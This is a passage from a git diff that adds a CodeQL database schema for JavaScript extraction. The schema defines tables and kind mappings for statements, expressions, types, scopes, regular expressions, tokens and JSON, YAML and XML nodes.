@toplevel ref); + +case @toplevel.kind of + 0 = @script +| 1 = @inline_script +| 2 = @event_handler +| 3 = @javascript_url +| 4 = @template_toplevel; + +is_module (int tl: @toplevel ref); +is_nodejs (int tl: @toplevel ref); +is_es2015_module (int tl: @toplevel ref); +is_closure_module (int tl: @toplevel ref); + +@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag; +toplevel_parent_xml_node( + unique int toplevel: @toplevel ref, + int xmlnode: @xml_node_with_code ref); + +xml_element_parent_expression( + unique int xmlnode: @xmlelement ref, + int expression: @expr ref, + int index: int ref); + +// statements +#keyset[parent, idx] +stmts (unique int id: @stmt, + int kind: int ref, + int parent: @stmt_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +stmt_containers (unique int stmt: @stmt ref, + int container: @stmt_container ref); + +jump_targets (unique int jump: @stmt ref, + int target: @stmt ref); + +@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer; +@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration; + +case @stmt.kind of + 0 = @empty_stmt +| 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @labeled_stmt +| 5 = @break_stmt +| 6 = @continue_stmt +| 7 = @with_stmt +| 8 = @switch_stmt +| 9 = @return_stmt +| 10 = @throw_stmt +| 11 = @try_stmt +| 12 = @while_stmt +| 13 = @do_while_stmt +| 14 = @for_stmt +| 15 = @for_in_stmt +| 16 = @debugger_stmt +| 17 = @function_decl_stmt +| 18 = @var_decl_stmt +| 19 = @case +| 20 = @catch_clause +| 21 = @for_of_stmt +| 22 = @const_decl_stmt +| 23 = @let_stmt +| 24 = @legacy_let_stmt +| 25 = @for_each_stmt +| 26 = @class_decl_stmt +| 27 = @import_declaration +| 28 = @export_all_declaration +| 29 = @export_default_declaration +| 30 = @export_named_declaration +| 31 = @namespace_declaration +| 32 = @import_equals_declaration +| 33 = @export_assign_declaration +| 34 = @interface_declaration +| 35 = @type_alias_declaration +| 36 = @enum_declaration +| 37 = @external_module_declaration +| 38 = @export_as_namespace_declaration +| 39 = @global_augmentation_declaration +| 40 = @using_decl_stmt +; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt; + +@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration; + +@namespace_definition = @namespace_declaration | @enum_declaration; +@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member; + +is_instantiated(unique int decl: @namespace_declaration ref); + +@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field; +has_declare_keyword(unique int stmt: @declarable_node ref); + +is_for_await_of(unique int forof: @for_of_stmt ref); + +// expressions +#keyset[parent, idx] +exprs (unique int id: @expr, + int kind: int ref, + int parent: @expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @expr_or_type ref); + +enclosing_stmt (unique int expr: @expr_or_type ref, + int stmt: @stmt ref); + +expr_containers (unique int expr: @expr_or_type ref, + int container: @stmt_container ref); + +array_size (unique int ae: @arraylike ref, + int sz: int ref); + +is_delegating (int yield: @yield_expr ref); + +@expr_or_stmt = @expr | @stmt; +@expr_or_type = @expr | @typeexpr; +@expr_parent = @expr_or_stmt | @property | @function_typeexpr; +@arraylike = @array_expr | @array_pattern; +@type_annotation = @typeexpr | @jsdoc_type_expr; +@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel; + +case @expr.kind of + 0 = @label +| 1 = @null_literal +| 2 = @boolean_literal +| 3 = @number_literal +| 4 = @string_literal +| 5 = @regexp_literal +| 6 = @this_expr +| 7 = @array_expr +| 8 = @obj_expr +| 9 = @function_expr +| 10 = @seq_expr +| 11 = @conditional_expr +| 12 = @new_expr +| 13 = @call_expr +| 14 = @dot_expr +| 15 = @index_expr +| 16 = @neg_expr +| 17 = @plus_expr +| 18 = @log_not_expr +| 19 = @bit_not_expr +| 20 = @typeof_expr +| 21 = @void_expr +| 22 = @delete_expr +| 23 = @eq_expr +| 24 = @neq_expr +| 25 = @eqq_expr +| 26 = @neqq_expr +| 27 = @lt_expr +| 28 = @le_expr +| 29 = @gt_expr +| 30 = @ge_expr +| 31 = @lshift_expr +| 32 = @rshift_expr +| 33 = @urshift_expr +| 34 = @add_expr +| 35 = @sub_expr +| 36 = @mul_expr +| 37 = @div_expr +| 38 = @mod_expr +| 39 = @bitor_expr +| 40 = @xor_expr +| 41 = @bitand_expr +| 42 = @in_expr +| 43 = @instanceof_expr +| 44 = @logand_expr +| 45 = @logor_expr +| 47 = @assign_expr +| 48 = @assign_add_expr +| 49 = @assign_sub_expr +| 50 = @assign_mul_expr +| 51 = @assign_div_expr +| 52 = @assign_mod_expr +| 53 = @assign_lshift_expr +| 54 = @assign_rshift_expr +| 55 = @assign_urshift_expr +| 56 = @assign_or_expr +| 57 = @assign_xor_expr +| 58 = @assign_and_expr +| 59 = @preinc_expr +| 60 = @postinc_expr +| 61 = @predec_expr +| 62 = @postdec_expr +| 63 = @par_expr +| 64 = @var_declarator +| 65 = @arrow_function_expr +| 66 = @spread_element +| 67 = @array_pattern +| 68 = @object_pattern +| 69 = @yield_expr +| 70 = @tagged_template_expr +| 71 = @template_literal +| 72 = @template_element +| 73 = @array_comprehension_expr +| 74 = @generator_expr +| 75 = @for_in_comprehension_block +| 76 = @for_of_comprehension_block +| 77 = @legacy_letexpr +| 78 = @var_decl +| 79 = @proper_varaccess +| 80 = @class_expr +| 81 = @super_expr +| 82 = @newtarget_expr +| 83 = @named_import_specifier +| 84 = @import_default_specifier +| 85 = @import_namespace_specifier +| 86 = @named_export_specifier +| 87 = @exp_expr +| 88 = @assign_exp_expr +| 89 = @jsx_element +| 90 = @jsx_qualified_name +| 91 = @jsx_empty_expr +| 92 = @await_expr +| 93 = @function_sent_expr +| 94 = @decorator +| 95 = @export_default_specifier +| 96 = @export_namespace_specifier +| 97 = @bind_expr +| 98 = @external_module_reference +| 99 = @dynamic_import +| 100 = @expression_with_type_arguments +| 101 = @prefix_type_assertion +| 102 = @as_type_assertion +| 103 = @export_varaccess +| 104 = @decorator_list +| 105 = @non_null_assertion +| 106 = @bigint_literal +| 107 = @nullishcoalescing_expr +| 108 = @e4x_xml_anyname +| 109 = @e4x_xml_static_attribute_selector +| 110 = @e4x_xml_dynamic_attribute_selector +| 111 = @e4x_xml_filter_expression +| 112 = @e4x_xml_static_qualident +| 113 = @e4x_xml_dynamic_qualident +| 114 = @e4x_xml_dotdotexpr +| 115 = @import_meta_expr +| 116 = @assignlogandexpr +| 117 = @assignlogorexpr +| 118 = @assignnullishcoalescingexpr +| 119 = @template_pipe_ref +| 120 = @generated_code_expr +| 121 = @satisfies_expr +; + +@varaccess = @proper_varaccess | @export_varaccess; +@varref = @var_decl | @varaccess; + +@identifier = @label | @varref | @type_identifier; + +@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal; + +@propaccess = @dot_expr | @index_expr; + +@invokeexpr = @new_expr | @call_expr; + +@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element; + +@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr; + +@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr; + +@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr; + +@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr; + +@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr; + +@pattern = @varref | @array_pattern | @object_pattern; + +@comprehension_expr = @array_comprehension_expr | @generator_expr; + +@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block; + +@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier; + +@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier; + +@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier; + +@type_assertion = @as_type_assertion | @prefix_type_assertion; + +@class_definition = @class_decl_stmt | @class_expr; +@interface_definition = @interface_declaration | @interface_typeexpr; +@class_or_interface = @class_definition | @interface_definition; + +@lexical_decl = @var_decl | @type_decl; +@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access; +@lexical_ref = @lexical_decl | @lexical_access; + +@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector; +@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident; + +expr_contains_template_tag_location( + int expr: @expr ref, + int location: @location ref +); + +@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file; + +template_placeholder_tag_info( + unique int node: @template_placeholder_tag, + int parentNode: @template_placeholder_tag_parent ref, + varchar(900) raw: string ref +); + +// scopes +scopes (unique int id: @scope, + int kind: int ref); + +case @scope.kind of + 0 = @global_scope +| 1 = @function_scope +| 2 = @catch_scope +| 3 = @module_scope +| 4 = @block_scope +| 5 = @for_scope +| 6 = @for_in_scope // for-of scopes work the same as for-in scopes +| 7 = @comprehension_block_scope +| 8 = @class_expr_scope +| 9 = @namespace_scope +| 10 = @class_decl_scope +| 11 = @interface_scope +| 12 = @type_alias_scope +| 13 = @mapped_type_scope +| 14 = @enum_scope +| 15 = @external_module_scope +| 16 = @conditional_type_scope; + +scopenodes (unique int node: @ast_node ref, + int scope: @scope ref); + +scopenesting (unique int inner: @scope ref, + int outer: @scope ref); + +// functions +@function = @function_decl_stmt | @function_expr | @arrow_function_expr; + +@parameterized = @function | @catch_clause; +@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr; + +is_generator (int fun: @function ref); +has_rest_parameter (int fun: @function ref); +is_async (int fun: @function ref); + +// variables and lexically scoped type names +#keyset[scope, name] +variables (unique int id: @variable, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_type_names (unique int id: @local_type_name, + varchar(900) name: string ref, + int scope: @scope ref); + +#keyset[scope, name] +local_namespace_names (unique int id: @local_namespace_name, + varchar(900) name: string ref, + int scope: @scope ref); + +is_arguments_object (int id: @variable ref); + +@lexical_name = @variable | @local_type_name | @local_namespace_name; + +@bind_id = @varaccess | @local_var_type_access; +bind (unique int id: @bind_id ref, + int decl: @variable ref); + +decl (unique int id: @var_decl ref, + int decl: @variable ref); + +@typebind_id = @local_type_access | @export_varaccess; +typebind (unique int id: @typebind_id ref, + int decl: @local_type_name ref); + +@typedecl_id = @type_decl | @var_decl; +typedecl (unique int id: @typedecl_id ref, + int decl: @local_type_name ref); + +namespacedecl (unique int id: @var_decl ref, + int decl: @local_namespace_name ref); + +@namespacebind_id = @local_namespace_access | @export_varaccess; +namespacebind (unique int id: @namespacebind_id ref, + int decl: @local_namespace_name ref); + + +// properties in object literals, property patterns in object patterns, and method declarations in classes +#keyset[parent, index] +properties (unique int id: @property, + int parent: @property_parent ref, + int index: int ref, + int kind: int ref, + varchar(900) tostring: string ref); + +case @property.kind of + 0 = @value_property +| 1 = @property_getter +| 2 = @property_setter +| 3 = @jsx_attribute +| 4 = @function_call_signature +| 5 = @constructor_call_signature +| 6 = @index_signature +| 7 = @enum_member +| 8 = @proper_field +| 9 = @parameter_field +| 10 = @static_initializer +; + +@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration; +@property_accessor = @property_getter | @property_setter; +@call_signature = @function_call_signature | @constructor_call_signature; +@field = @proper_field | @parameter_field; +@field_or_vardeclarator = @field | @var_declarator; + +is_computed (int id: @property ref); +is_method (int id: @property ref); +is_static (int id: @property ref); +is_abstract_member (int id: @property ref); +is_const_enum (int id: @enum_declaration ref); +is_abstract_class (int id: @class_decl_stmt ref); + +has_public_keyword (int id: @property ref); +has_private_keyword (int id: @property ref); +has_protected_keyword (int id: @property ref); +has_readonly_keyword (int id: @property ref); +has_type_keyword (int id: @type_keyword_operand ref); +is_optional_member (int id: @property ref); +has_definite_assignment_assertion (int id: @field_or_vardeclarator ref); +is_optional_parameter_declaration (unique int parameter: @pattern ref); + +#keyset[constructor, param_index] +parameter_fields( + unique int field: @parameter_field ref, + int constructor: @function_expr ref, + int param_index: int ref +); + +// types +#keyset[parent, idx] +typeexprs ( + unique int id: @typeexpr, + int kind: int ref, + int parent: @typeexpr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref +); + +case @typeexpr.kind of + 0 = @local_type_access +| 1 = @type_decl +| 2 = @keyword_typeexpr +| 3 = @string_literal_typeexpr +| 4 = @number_literal_typeexpr +| 5 = @boolean_literal_typeexpr +| 6 = @array_typeexpr +| 7 = @union_typeexpr +| 8 = @indexed_access_typeexpr +| 9 = @intersection_typeexpr +| 10 = @parenthesized_typeexpr +| 11 = @tuple_typeexpr +| 12 = @keyof_typeexpr +| 13 = @qualified_type_access +| 14 = @generic_typeexpr +| 15 = @type_label +| 16 = @typeof_typeexpr +| 17 = @local_var_type_access +| 18 = @qualified_var_type_access +| 19 = @this_var_type_access +| 20 = @predicate_typeexpr +| 21 = @interface_typeexpr +| 22 = @type_parameter +| 23 = @plain_function_typeexpr +| 24 = @constructor_typeexpr +| 25 = @local_namespace_access +| 26 = @qualified_namespace_access +| 27 = @mapped_typeexpr +| 28 = @conditional_typeexpr +| 29 = @infer_typeexpr +| 30 = @import_type_access +| 31 = @import_namespace_access +| 32 = @import_var_type_access +| 33 = @optional_typeexpr +| 34 = @rest_typeexpr +| 35 = @bigint_literal_typeexpr +| 36 = @readonly_typeexpr +| 37 = @template_literal_typeexpr +; + +@typeref = @typeaccess | @type_decl; +@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access; +@typeexpr_parent = @expr | @stmt | @property | @typeexpr; +@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr; +@typeaccess = @local_type_access | @qualified_type_access | @import_type_access; +@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access; +@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access; +@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access; + +@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr; + +// types +types ( + unique int id: @type, + int kind: int ref, + varchar(900) tostring: string ref +); + +#keyset[parent, idx] +type_child ( + int child: @type ref, + int parent: @type ref, + int idx: int ref +); + +case @type.kind of + 0 = @any_type +| 1 = @string_type +| 2 = @number_type +| 3 = @union_type +| 4 = @true_type +| 5 = @false_type +| 6 = @type_reference +| 7 = @object_type +| 8 = @canonical_type_variable_type +| 9 = @typeof_type +| 10 = @void_type +| 11 = @undefined_type +| 12 = @null_type +| 13 = @never_type +| 14 = @plain_symbol_type +| 15 = @unique_symbol_type +| 16 = @objectkeyword_type +| 17 = @intersection_type +| 18 = @tuple_type +| 19 = @lexical_type_variable_type +| 20 = @this_type +| 21 = @number_literal_type +| 22 = @string_literal_type +| 23 = @unknown_type +| 24 = @bigint_type +| 25 = @bigint_literal_type +; + +@boolean_literal_type = @true_type | @false_type; +@symbol_type = @plain_symbol_type | @unique_symbol_type; +@union_or_intersection_type = @union_type | @intersection_type; +@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type; + +has_asserts_keyword(int node: @predicate_typeexpr ref); + +@typed_ast_node = @expr | @typeexpr | @function; +ast_node_type( + unique int node: @typed_ast_node ref, + int typ: @type ref); + +declared_function_signature( + unique int node: @function ref, + int sig: @signature_type ref +); + +invoke_expr_signature( + unique int node: @invokeexpr ref, + int sig: @signature_type ref +); + +invoke_expr_overload_index( + unique int node: @invokeexpr ref, + int index: int ref +); + +symbols ( + unique int id: @symbol, + int kind: int ref, + varchar(900) name: string ref +); + +symbol_parent ( + unique int symbol: @symbol ref, + int parent: @symbol ref +); + +symbol_module ( + int symbol: @symbol ref, + varchar(900) moduleName: string ref +); + +symbol_global ( + int symbol: @symbol ref, + varchar(900) globalName: string ref +); + +case @symbol.kind of + 0 = @root_symbol +| 1 = @member_symbol +| 2 = @other_symbol +; + +@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type; +@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration; + +ast_node_symbol( + unique int node: @ast_node_with_symbol ref, + int symbol: @symbol ref); + +type_symbol( + unique int typ: @type_with_symbol ref, + int symbol: @symbol ref); + +#keyset[typ, name] +type_property( + int typ: @type ref, + varchar(900) name: string ref, + int propertyType: @type ref); + +type_alias( + unique int aliasType: @type ref, + int underlyingType: @type ref); + +@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type; +@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type; +type_literal_value( + unique int typ: @type_with_literal_value ref, + varchar(900) value: string ref); + +signature_types ( + unique int id: @signature_type, + int kind: int ref, + varchar(900) tostring: string ref, + int type_parameters: int ref, + int required_params: int ref +); + +is_abstract_signature( + unique int sig: @signature_type ref +); + +signature_rest_parameter( + unique int sig: @signature_type ref, + int rest_param_arra_type: @type ref +); + +case @signature_type.kind of + 0 = @function_signature_type +| 1 = @constructor_signature_type +; + +#keyset[typ, kind, index] +type_contains_signature ( + int typ: @type ref, + int kind: int ref, // constructor/call/index + int index: int ref, // ordering of overloaded signatures + int sig: @signature_type ref +); + +#keyset[parent, index] +signature_contains_type ( + int child: @type ref, + int parent: @signature_type ref, + int index: int ref +); + +#keyset[sig, index] +signature_parameter_name ( + int sig: @signature_type ref, + int index: int ref, + varchar(900) name: string ref +); + +number_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +string_index_type ( + unique int baseType: @type ref, + int propertyType: @type ref +); + +base_type_names( + int typeName: @symbol ref, + int baseTypeName: @symbol ref +); + +self_types( + int typeName: @symbol ref, + int selfType: @type_reference ref +); + +tuple_type_min_length( + unique int typ: @type ref, + int minLength: int ref +); + +tuple_type_rest_index( + unique int typ: @type ref, + int index: int ref +); + +// comments +comments (unique int id: @comment, + int kind: int ref, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(900) tostring: string ref); + +case @comment.kind of + 0 = @slashslash_comment +| 1 = @slashstar_comment +| 2 = @doc_comment +| 3 = @html_comment_start +| 4 = @htmlcommentend; + +@html_comment = @html_comment_start | @htmlcommentend; +@line_comment = @slashslash_comment | @html_comment; +@block_comment = @slashstar_comment | @doc_comment; + +// source lines +lines (unique int id: @line, + int toplevel: @toplevel ref, + varchar(900) text: string ref, + varchar(2) terminator: string ref); +indentation (int file: @file ref, + int lineno: int ref, + varchar(1) indentChar: string ref, + int indentDepth: int ref); + +// JavaScript parse errors +js_parse_errors (unique int id: @js_parse_error, + int toplevel: @toplevel ref, + varchar(900) message: string ref, + varchar(900) line: string ref); + +// regular expressions +#keyset[parent, idx] +regexpterm (unique int id: @regexpterm, + int kind: int ref, + int parent: @regexpparent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr; + +case @regexpterm.kind of + 0 = @regexp_alt +| 1 = @regexp_seq +| 2 = @regexp_caret +| 3 = @regexp_dollar +| 4 = @regexp_wordboundary +| 5 = @regexp_nonwordboundary +| 6 = @regexp_positive_lookahead +| 7 = @regexp_negative_lookahead +| 8 = @regexp_star +| 9 = @regexp_plus +| 10 = @regexp_opt +| 11 = @regexp_range +| 12 = @regexp_dot +| 13 = @regexp_group +| 14 = @regexp_normal_constant +| 15 = @regexp_hex_escape +| 16 = @regexp_unicode_escape +| 17 = @regexp_dec_escape +| 18 = @regexp_oct_escape +| 19 = @regexp_ctrl_escape +| 20 = @regexp_char_class_escape +| 21 = @regexp_id_escape +| 22 = @regexp_backref +| 23 = @regexp_char_class +| 24 = @regexp_char_range +| 25 = @regexp_positive_lookbehind +| 26 = @regexp_negative_lookbehind +| 27 = @regexp_unicode_property_escape +| 28 = @regexp_quoted_string +| 29 = @regexp_intersection +| 30 = @regexp_subtraction; + +regexp_parse_errors (unique int id: @regexp_parse_error, + int regexp: @regexpterm ref, + varchar(900) message: string ref); + +@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range; +@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape; +@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape; +@regexp_constant = @regexp_normal_constant | @regexp_char_escape; +@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead; +@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind; +@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind; +@regexp_anchor = @regexp_dollar | @regexp_caret; + +is_greedy (int id: @regexp_quantifier ref); +range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref); +range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref); +is_capture (unique int id: @regexp_group ref, int number: int ref); +is_named_capture (unique int id: @regexp_group ref, string name: string ref); +is_inverted (int id: @regexp_char_class ref); +regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref); +char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref); +backref (unique int id: @regexp_backref ref, int value: int ref); +named_backref (unique int id: @regexp_backref ref, string name: string ref); +unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref); +unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref); + +// tokens +#keyset[toplevel, idx] +tokeninfo (unique int id: @token, + int kind: int ref, + int toplevel: @toplevel ref, + int idx: int ref, + varchar(900) value: string ref); + +case @token.kind of + 0 = @token_eof +| 1 = @token_null_literal +| 2 = @token_boolean_literal +| 3 = @token_numeric_literal +| 4 = @token_string_literal +| 5 = @token_regular_expression +| 6 = @token_identifier +| 7 = @token_keyword +| 8 = @token_punctuator; + +// associate comments with the token immediately following them (which may be EOF) +next_token (int comment: @comment ref, int token: @token ref); + +// JSON +#keyset[parent, idx] +json (unique int id: @json_value, + int kind: int ref, + int parent: @json_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +json_literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @json_value ref); + +json_properties (int obj: @json_object ref, + varchar(900) property: string ref, + int value: @json_value ref); + +json_errors (unique int id: @json_parse_error, + varchar(900) message: string ref); + +json_locations(unique int locatable: @json_locatable ref, + int location: @location_default ref); + +case @json_value.kind of + 0 = @json_null +| 1 = @json_boolean +| 2 = @json_number +| 3 = @json_string +| 4 = @json_array +| 5 = @json_object; + +@json_parent = @json_object | @json_array | @file; + +@json_locatable = @json_value | @json_parse_error; + +// locations +@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr; + +@locatable = @file + | @ast_node + | @comment + | @line + | @js_parse_error | @regexp_parse_error + | @regexpterm + | @json_locatable + | @token + | @cfg_node + | @jsdoc | @jsdoc_type_expr | @jsdoc_tag + | @yaml_locatable + | @xmllocatable + | @configLocatable + | @template_placeholder_tag; + +hasLocation (unique int locatable: @locatable ref, + int location: @location ref); + +// CFG +entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref); +exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref); +guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref); +case @guard_node.kind of + 0 = @falsy_guard +| 1 = @truthy_guard; +@condition_guard = @falsy_guard | @truthy_guard; + +@synthetic_cfg_node = @entry_node | @exit_node | @guard_node; +@cfg_node = @synthetic_cfg_node | @expr_parent; + +successor (int pred: @cfg_node ref, int succ: @cfg_node ref); + +// JSDoc comments +jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref); +#keyset[parent, idx] +jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref, + int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref); +jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); +jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); + +#keyset[parent, idx] +jsdoc_type_exprs (unique int id: @jsdoc_type_expr, + int kind: int ref, + int parent: @jsdoc_type_expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); +case @jsdoc_type_expr.kind of + 0 = @jsdoc_any_type_expr +| 1 = @jsdoc_null_type_expr +| 2 = @jsdoc_undefined_type_expr +| 3 = @jsdoc_unknown_type_expr +| 4 = @jsdoc_void_type_expr +| 5 = @jsdoc_identifier_type_expr +| 6 = @jsdoc_applied_type_expr +| 7 = @jsdoc_nullable_type_expr +| 8 = @jsdoc_non_nullable_type_expr +| 9 = @jsdoc_record_type_expr +| 10 = @jsdoc_array_type_expr +| 11 = @jsdoc_union_type_expr +| 12 = @jsdoc_function_type_expr +| 13 = @jsdoc_optional_type_expr +| 14 = @jsdoc_rest_type_expr +| 15 = @jsdoc_qualified_type_expr +; + +#keyset[id, idx] +jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref); +jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref); +jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref); + +@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag; + +jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref); + +@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property; + +@optionalchainable = @call_expr | @propaccess; + +isOptionalChaining(int id: @optionalchainable ref); + +/** + * The time taken for the extraction of a file. + * This table contains non-deterministic content. + * + * The sum of the `time` column for each (`file`, `timerKind`) pair + * is the total time taken for extraction of `file`. The `extractionPhase` + * column provides a granular view of the extraction time of the file. + */ +extraction_time( + int file : @file ref, + // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`. + int extractionPhase: int ref, + // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds + int timerKind: int ref, + float time: float ref +) + +/** +* Non-timing related data for the extraction of a single file. +* This table contains non-deterministic content. +*/ +extraction_data( + int file : @file ref, + // the absolute path to the cache file + varchar(900) cacheFile: string ref, + boolean fromCache: boolean ref, + int length: int ref +) + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/*- Configuration files with key value pairs -*/ + +configs( + unique int id: @config +); + +configNames( + unique int id: @configName, + int config: @config ref, + string name: string ref +); + +configValues( + unique int id: @configValue, + int config: @config ref, + string value: string ref +); + +configLocations( + int locatable: @configLocatable ref, + int location: @location_default ref +); + +@configLocatable = @config | @configName | @configValue; diff --git a/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties b/javascript/ql/lib/upgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties new file mode 100644 index 00000000000..9812f386f8c --- 